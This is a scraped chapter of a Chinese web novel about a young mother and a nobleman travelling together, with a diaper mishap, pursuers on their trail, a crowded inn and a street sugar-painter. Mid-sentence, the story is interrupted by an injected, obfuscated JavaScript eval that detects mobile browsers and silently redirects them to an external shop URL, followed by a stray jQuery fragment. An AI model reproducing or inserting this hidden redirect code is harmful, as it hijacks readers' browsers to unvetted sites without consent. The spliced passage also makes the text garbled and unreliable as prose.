文趣网 > 都市小说 > 我是公公的心肝 > 11. 三两银子
    沈千禾就在他对面倒水,当小宝放屁后很快就闻到臭味儿,以为只是排气就没太在意。

    但还是回头看了眼。

    结果看到梁正衡脸色青白,眼神惊慌,嘴唇哆嗦,仿佛受到巨大冲击。

    “呀!”

    沈千禾又难为情又抱愧,他终于开了口,带着无尽的求助,“......把他拿走。”

    “您别动,我找一下干净尿布。”

    她慌里慌张翻找衣服。

    男人欲哭无泪,鼻息全是手里孩子冲天的恶臭味儿,一开口就想吐,手臂皮肤下面好似万千蚂蚁走过,心痒难挠。

    “快点。”

    这几个字从牙缝里挤出来。

    他快受不了了。

    “好了好了。”

    沈千禾接过小宝放在长凳准备好的小窝,拉下短裤,眼睛忽然快速眨几下。

    其实味道儿不算很大。

    但对面梁正衡捂住嘴巴,差点干呕,连忙探出窗外大口汲取新鲜空气。

    梁文察觉到动静扭头去看,然后看到主公趴在窗外,双臂软绵绵搭在车外,要死不活。

    “主公,您没事吧?!”

    他低着头,有气无力摆摆手。

    好在沈千禾有经验,拿着干净的帕子三下五除二给小宝屁屁清理干净,换上新尿布。

    她裹紧孩子,接着推开这边的窗户,清新空气瞬间涌了进来,冲散车厢臭味儿。

    等他闻不到那股腐烂臭鸡蛋味道,才蔫蔫坐回车内,注意她身边有一团布,侧面留着可疑黄色。

    “这怎么不扔掉?”

    “洗洗还能用呢。”

    她又没钱,哪能拉一次扔一次啊。

    什么?!

    她要用洗过便便尿布的手给自己端茶倒水?!

    梁正衡态度强硬:“快扔了。”

    沈千禾不太舍得,他有些崩溃。

    “你快扔了!等下买个新的,不准你洗!”

    “那还要花钱,待会儿我洗洗就干净了。”

    “我给你买,我给你买。”

    沈千禾见他很嫌弃,反应很大,想了想,从窗外扔掉了那个尿布。

    “哦。”

    心情有些郁闷。

    男人如释重负,瘫坐软凳调整呼吸,一杯淡黄色茶水递到眼前。

    “您喝口水顺顺吧。”

    他盯着那只手,身体往后缩,“你没洗手吧?”

    她都没碰到好吗!

    沈千禾气鼓了脸,收回手。

    梁正衡面前又出现一杯茶,这次她用衣裳包住了手。

    “这样行了吧?”

    他本想不接,抬头那一刻,想到女子辛苦抱着孩子还不忘给他冲茶,内心斗争一番,还是接了下来。

    浅浅抿一口就放下了。

    车内无话。

    “他......”

    “您......”

    两人同时发话,怔愣一下,忽而都笑了起来,沈千禾壮着胆子打趣道:

    “您方才表情有趣极了。”

    梁正衡下巴微扬:“谁曾想这么小的孩子身体里藏着这么臭的东西。”

    “我们现在可不臭了,香香的。”

    沈千禾关上窗,露出孩子,小宝好像听懂了话,张嘴啊啊呜呜回应。

    她跟真一样,认真和小宝讲话。

    梁正衡摇头无奈。

    怎么就拉上她回京照料自己。

    过会儿忽然觉得好笑,别过脸轻笑了下。

    到了县城,梁正衡答应她给小宝买尿布果真买了很多。

    看不下去孩子松松垮垮的衣裳,又给他置办了三套。

    这让沈千禾对他的好感蹭蹭上涨。

    男人见她神情喜悦,颇为自豪。

    帮助妇女幼童是男人的职责啊。

    这份恩情被她记在心里,后面的路程对待他更加用心了。

    递过来的永远是温水,隔几日给他揉肩按摩,饿了随吃拿出吃食。

    虽说旅途劳累,但有她在身边伺候,过得没想象中的差劲。

    这天,梁武原本正在认真驾车,忽然耳朵一动,捕捉到身后传来的马蹄声。

    “怎么了?”

    梁文问他,想要回头但被梁武制止。

    “有人跟踪我们。”

    梁文严肃:“你确定?”

    “嗯。”梁武压低声线,“应该是两个人。前日我就发现他们跟在后面,怕跟踪太明显,中间有几段路没和咱们一起。”

    “你怎么不早说?”

    “今日之前我还不确定,昨日更换路线就是因为他们,没想到竟然跟过来了。”

    他加快速度,与后面两人拉开距离,时刻注意周旁动静。

    “按你这样说,他们也不确定目标就是我们,不然早就上手了。”

    梁文见他正容抗色,又说:

    “不用太快,容易起疑,正常行驶即可,还有三公里就到牡丹城了,他们不会在此行动。”

    城门士兵把守来往人员,他们定然不会此刻动手。

    梁武稍稍安心。

    “出示一下过所。”

    一位红衣小兵拦住这辆马车,梁文将几人过所给他。

    后面两人也被拦截,他们皮肤粗糙,胡子拉碴,常年厮杀眼神透着凶狠,膀臂粗壮。

    正是这副模样,士兵多盘问了几句,问的多了,左边头发毛躁的男人不耐烦,声音大了些。

    这将所有人的视线都吸引过去,周边士兵握紧长枪,锐利的眼神扫向牵马的两人。

    后面说什么梁武没听见,因为他们已经进城了。

    街上熙熙攘攘,丝绸彩带飘在屋顶,店铺前挂着艳丽的花灯,来往小贩叫卖声此起彼伏。

    沈千禾抱着孩子探出窗外看热闹。

    路上人多,时不时出现一小队彩衣人群,马车慢步前行,她低头问下面三个小孩:

    “这里怎么这么多人?”

    小孩声音清脆:“明日是牡丹花神的生辰,大家都来集市买糖糕晚上供给花神呢!”

    怪不得路边卖的最多的就是糕点了。

    他们寻了几家客栈,但都客满了——这些客人大多数从周边赶来庆祝花神生辰,祈求平安。

    牡丹城内人口多,经济交易频繁,客栈酒楼繁多,还是让他们找到了一家还不错的酒楼。

    正巧剩下三间房。

    “就要这三间。”

    梁文将银子递给掌柜,就在这时,一只布满伤痕的大手猛然将钱袋子拍在桌上,声音仿佛被砂石摩擦,“开间房。”

    梁武眼中闪过冷光,衣裳下的肌肉蓄势待发。

    梁文沉静如冰,看向那位蓬头垢面的男人,礼貌笑着:

    “不好意思,这三间房我们先订了。”

    左三看了眼这三男一女,语气平淡,但又在试探:

    “他们既是夫妻,住一间房就好了,何必多开一间?”

    掌柜不想惹这两个看起来凶神恶煞的人,其实他根本不愿接待这样的人,又怕他们心生恨意报复。

    觉得左三说得有理,赶紧补上一句:

    “是啊客人,这几日来我们牡丹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504163|202862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    城的人太多了,我家床很舒服很大,两口子住在一起不会挤。”

    梁文拧眉,给他一个眼刀。

    梁正衡看出不对劲,心中有疑并未表现,欣欣然接受这个建议。

    “行。”

    伙计带着几人来到二楼,三间房正好在楼梯口。

    沈千禾和梁正衡住进“夏暖”,左边是“秋寒”,对面是“冬雪。”

    梁武刚想进左边的厢房,却被后面人推开,左三和那名始终不开口的男人住了进去。

    “你们!”

    梁文眼疾手快将暴躁的梁武拉回来,左三朝他讥讽一笑,随后关紧房门。

    “行了,先进去休息。”

    梁正衡给梁文使了个眼色。

    离晚饭时辰还早,几人简单休整后打算出门逛逛,沈千禾表示自己疲累,不想出门。

    但小宝睡了一上午,目前还很精神。

    梁武提议他抱小宝出门看看,沈千禾放心交给他。

    出了客栈,梁武向他讲述自己的猜测。

    “果真如此?”

    梁正衡没想到京城的人这么快就发现名单不对。

    算算日子,杜婉娘他们才刚到京城。

    不过绑走他的绑匪一人驾马比他们快,发现名单错误再快马加鞭寻他可能性比较大。

    幸好自己提前把名单让杜婉娘带走。

    “梁文说得在理,他们尚未确定要找的人是我,三人结伴同行不少,你我太小心谨慎反而欲盖弥彰。”

    梁文补充:

    “咱们可不是三人,带上沈千禾和她的孩子我们可疑度就不高,何况主公同她假扮夫妇,从外人看就是夫妻领着孩子和家仆出来玩了。”

    两人点头称赞。

    “既然这样,便好好逛逛吧。”

    梁正衡甚少有闲暇时间出来溜达,如今在陌生的城市游玩,要享受自由。

    梁文梁武自然没意见,脸上挂着笑容跟在他后面。

    周边摆卖木偶、小食、灯笼、发钗等等都和牡丹花有关,不少女子围观挑选。

    梁武花三十文给小宝买了个小波浪鼓,鼓形是硕大的牡丹花,孩子握在手里咿呀呀喊着什么。

    梁正衡去一旁看街头老爷爷画糖画,他对面坐着个小孩,金黄糖汁在他手下圈圈绕绕,孩童的模样惟妙惟肖。

    众人拍手叫好。

    “对着人画当然能画出来啊。”

    有人不屑。

    老头听见这尖细的男声转头看向梁正衡。

    “怎么说?”

    “人就在你对面,画出来的小像自然不会错。”

    他认为这就是哄小孩,还比普通的糖画贵了两倍价钱。

    围观的群众开始有附和的声音。

    老头若有所思:

    “我在这里画了十年,自认功力不差,若我闭眼能画出你的模样,是不是就认可我的画功?”

    他摇头,有意刁难老头,狡黠一笑:“不可,你已经见我的脸了。不如......”

    他左右看看梁文梁武,想到一个不在现场且谁都不认识的人,嘴角笑意越来越大。

    “我说,你画。”

    老头被这新颖的画法提起兴致:“好。”

    “长辫子,圆眼睛,小鼻子,鹅蛋脸。”

    话音刚落,人群里有位男子站出来抱不平:

    “你这说了跟没说一样啊,描述的太模糊了。”

    “她就长这样。”梁正衡耸肩,掏出三两银子,“你若画出来,这就是你的了。”

    众人哗然,钦佩这大方的手笔。